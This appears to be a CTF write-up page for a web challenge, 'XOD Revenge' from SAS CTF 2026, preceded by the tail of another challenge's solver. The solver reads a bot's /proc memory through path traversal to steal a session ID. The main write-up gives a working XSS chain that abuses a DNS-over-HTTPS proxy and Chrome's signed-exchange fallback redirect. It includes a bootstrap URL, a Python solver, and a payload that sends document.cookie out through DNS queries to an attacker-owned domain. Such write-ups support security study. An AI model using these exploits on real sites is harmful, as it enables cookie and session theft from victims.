    prefix = f"python3\x00bot.py\x00http://localhost:80/profile/proc/{bot_pid}/cmdline%3f"
    path = f"/profile/proc/{bot_pid}/cmdline%3f{wrapper}?offset={len(prefix.encode())}&limit={len(wrapper.encode())}"
    post("/api/report", {"path": path})
    time.sleep(12)
    
    maps = get(f"/profile/proc/{bot_pid}/maps%3f").text
    targets = []
    for line in maps.splitlines():
        parts = line.split()
        if len(parts) < 2 or "-" not in parts[0]:
            continue
        perms = parts[1]
        name = parts[-1] if len(parts) >= 6 else ""
        start, end = [int(x, 16) for x in parts[0].split("-")]
        if ("[heap]" in line and "rw-p" in perms) or ("rw-p" in perms and not name and end - start >= 0x100000):
            for off in range(start, end, 1500):
                targets.append((off, min(1500, end - off)))
    
    
    def scan(target):
        off, limit = target
        text = get(f"/profile/proc/{bot_pid}/mem%3f?offset={off}&limit={limit}", requests.Session()).text
        m = SID_RE.search(text)
        return m.group(1) if m else None
    
    
    sid = None
    with ThreadPoolExecutor(max_workers=20) as ex:
        futures = [ex.submit(scan, t) for t in targets]
        for fut in as_completed(futures):
            sid = fut.result()
            if sid:
                break
    assert sid
    
    children = get(f"/profile/proc/{bot_pid}/task/{bot_pid}/children%3f").text.split()
    port = None
    for child in children:
        m = PORT_RE.search(get(f"/profile/proc/{child}/cmdline%3f").text)
        if m:
            port = m.group(1)
            break
    assert port
    
    post("/edit", {"title": f"{sid}:{port}", "content": f"{sid}:{port}"})
    
    deadline = time.time() + 60
    while time.time() < deadline:
        for i in range(first_flag_page, first_flag_page + 10):
            res = get(f"/page/{i}")
            if res.status_code != 200 or flag_title not in res.text:
                continue
            m = HEX_RE.search(res.text)
            if not m:
                continue
            flag = bytes.fromhex(m.group(1)).decode(errors="ignore").strip()
            if flag.startswith("DH{") and flag.endswith("}"):
                print(flag)
                raise SystemExit
        time.sleep(1)
    
    raise SystemExit("flag not recovered")

    SXG invalid-signed-exchange FALLBACK REDIRECT → escape a reflected application/signed-exchange Content-Type (DoH-proxy XSS bootstrap)

    Event NameSAS CTF 2026
    GitHub URL-
    Challenge NameXOD Revenge (web, id=8, 15 solves)
    Attachments
    References

  • Setup: GET /?dns=<b64> DoH proxy → UDP to 1.1.1.1:53 → echoes the raw DNS reply with Content-Type: <reflected request Accept>;charset=UTF-8. Flag = non-HttpOnly cookie flag on http://chall/; bot does ONE top-level goto(url) (url must start http://chall/). Classic "XOD" / DNS-over-HTTPS XSS: craft a DNS query whose echoed reply is valid HTML/JS.
  • The "Revenge" twist: the bot's navigation Accept ends in application/signed-exchange;v=b3;q=0.7; reflected as Content-Type, Chrome's last-media-type-wins parse routes the document into SXG handling → net::ERR_INVALID_SIGNED_EXCHANGE → the document never renders → no JS bootstrap. (A ;charset param doesn't add a comma segment, so it never escapes.)
  • The escape (decisive): Chrome's SXG handler, even on a bad magic, extracts a fallback URL and redirects to it with Accept rebuilt as allow_sxg=false (no signed-exchange) → that load renders. Point ?dns= at an attacker-owned domain so its authoritative NS shapes the proxied reply bytes to contain a valid https fallback URL; Chrome redirects out of the SXG error and the chain bootstraps.
  • Then the proven chain runs: stage1 (<script src=/?dns=STAGE2>) → stage2 (eval(unescape(location.hash.slice(1)))) → document.cookie → DNS A-query <hex>.<attacker-domain> via /?dns= → attacker authoritative NS logs the cookie.
  • Locally reproduced (Chromium 149) ✅: an invalid-magic body with fallbackUrlLength@offset8 + valid https URL@offset10 makes Chrome fallback-redirect → renderable same-host doc → the http://chall flag cookie is readable there (cookies are scheme-agnostic) → exfiltrated end-to-end in the harness. Precise finding: Chrome reads the fallback URL strictly at body offset 10 (len@8) — a normal DNS reply (URL only inside the qname at ~offset 13, NSCOUNT=0) does NOT fire (tested: ERR_INVALID_SIGNED_EXCHANGE), so the solve needs the DoH proxy to echo an attacker-authoritative reply whose bytes 8–10 carry the length+URL (the qname encoding is the delivery vector; the offline 1.1.1.1 forwarding step wasn't reproduced). http:// fallback URLs are rejected (https-only); the single-colon https:host form (from %2e) is accepted. Full chain solved locally end-to-end (Chromium 149, solve_local.mjs) — flag cookie exfiltrated. Crucial reusable pivot: the fallback URL must be https, so it lands on attacker infra; the attacker https page then 302-redirects back to http://chall/?dns=STAGE1, and the allow_sxg=false Accept (no signed-exchange) persists through that 302 → STAGE1's echoed reply renders as HTML (CT */*) → loads STAGE2 <script> (Accept */* → executes) → document.cookie → DNS-exfil via /?dns= (same-origin → CSP 'self' allows it). Verdict corrected from an earlier (wrong) "unsolvable on Chromium 148" — challenge has 15 solves.
  • why it is vulnerable

    # 1) reflected Accept -> Content-Type. Chrome picks the LAST comma media-type:
    #    Accept: ...,application/signed-exchange;v=b3;q=0.7   ->  CT essence = application/signed-exchange
    #    -> document is parsed as a Signed HTTP Exchange -> ERR_INVALID_SIGNED_EXCHANGE (never renders).
    # 2) SXG b3 body layout (lenient on the 8-byte magic):  magic(8) | fallbackUrlLength(2) | fallbackUrl(N) | ...
    #    on parse failure Chrome still emits a fallback REDIRECT to fallbackUrl (must be a valid https URL),
    #    and that redirect is fetched with FrameAcceptHeaderValue(allow_sxg=false) -> Accept no longer ends in
    #    signed-exchange -> the target RENDERS. Using an attacker-authoritative domain lets the proxied DNS reply
    #    carry a real https fallback URL -> escapes the SXG error and bootstraps chall-origin script.

    exploit payload

    # exact bootstrap (team), base64url-decodes to a DNS query:
    http://chall/?dns=U1gBAAABAAAAAAABFWh0dHBzOnlvdXJmYXRpcyUyZW1vbQN4b2QJeW91cmZhdGlzA21vbQAAAQABAAApEAAAAIAAAAA
    #   ID="SX"(0x5358) flags=0x0100 QD=1 + EDNS OPT ;  QTYPE=A
    #   qname = https:yourfatis%2emom . xod . yourfatis . mom
    #   first label "https:yourfatis%2emom" == SXG fallback URL  ->  https://yourfatis.mom
    #   (%2e -> "." ; special-scheme "https:host" normalizes to "https://host"; yourfatis.mom = attacker domain)

    Solver

    import base64, struct
    def doh(qname, qtype=1, qclass=1, qid=b"\x00\x00", flags=0x0100, opt=False):
        # build a raw DNS query whose ECHOED reply we abuse (DNS-over-HTTPS XSS primitive)
        q = qid + struct.pack(">H", flags) + struct.pack(">HHHH", 1, 0, 0, 1 if opt else 0)
        for lbl in qname.split("."):
            q += bytes([len(lbl)]) + lbl.encode()
        q += b"\x00" + struct.pack(">HH", qtype, qclass)
        if opt:  # EDNS0 OPT: root name, type=41, udp=4096
            q += b"\x00" + struct.pack(">HHIH", 41, 4096, 0x00008000, 0)
        return "http://chall/?dns=" + base64.urlsafe_b64encode(q).decode().rstrip("=")
    
    # stage2: echoed reply is valid JS. ID '/*' opens a JS comment over the binary header;
    #   single label '*/eval(unescape(location.hash.slice(1)))//' ; qclass=0 -> clean NOTIMP question-only echo.
    STAGE2 = doh("*/eval(unescape(location.hash.slice(1)))//", qtype=1, qclass=0, qid=b"/*")
    #   load it: stage1's echoed-as-HTML reply contains  <script src="{STAGE2}"></script>
    # === FULL CHAIN, reproduced end-to-end locally on Chromium 149 (see solve_local.mjs) -> flag exfiltrated ===
    # 1) BOOT (below): ?dns= whose attacker-authoritative reply is an invalid-magic SXG body with
    #    fallbackUrlLength@offset8 + https URL@offset10 == https://<attacker>/b  -> Chrome SXG fallback redirect
    # 2) https://<attacker>/b  ->  HTTP 302  ->  http://chall/?dns=STAGE1   (allow_sxg=false PERSISTS across the 302)
    # 3) STAGE1 echoed reply (CT=*/*) renders as HTML  ->  <script src="http://chall/?dns=STAGE2">
    # 4) STAGE2 executes (script Accept */* -> CT */*) -> document.cookie -> fetch('/?dns='+b64(<hex>.<attacker>)) (CSP 'self' ok)
    # bootstrap BOOT (attacker domain yourfatis.mom, verbatim from the winning solve):
    BOOT = "http://chall/?dns=U1gBAAABAAAAAAABFWh0dHBzOnlvdXJmYXRpcyUyZW1vbQN4b2QJeW91cmZhdGlzA21vbQAAAQABAAApEAAAAIAAAAA"
    # payload (URL #fragment, eval'd by stage2): read cookie -> hex -> DNS query under attacker domain -> exfil
    #   `fetch('/?dns='+btoa(buildDohQuery(toHex(document.cookie)+'.x.<attacker-domain>')))`
    # submit BOOT to the bot: POST /report {"url": BOOT}  (must start http://chall/ ; 2/min rate limit)

    Categories & Topics

    This note is categorized under the following topics. Click on any category to explore more related content.

    Share this note

    Share:

    Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.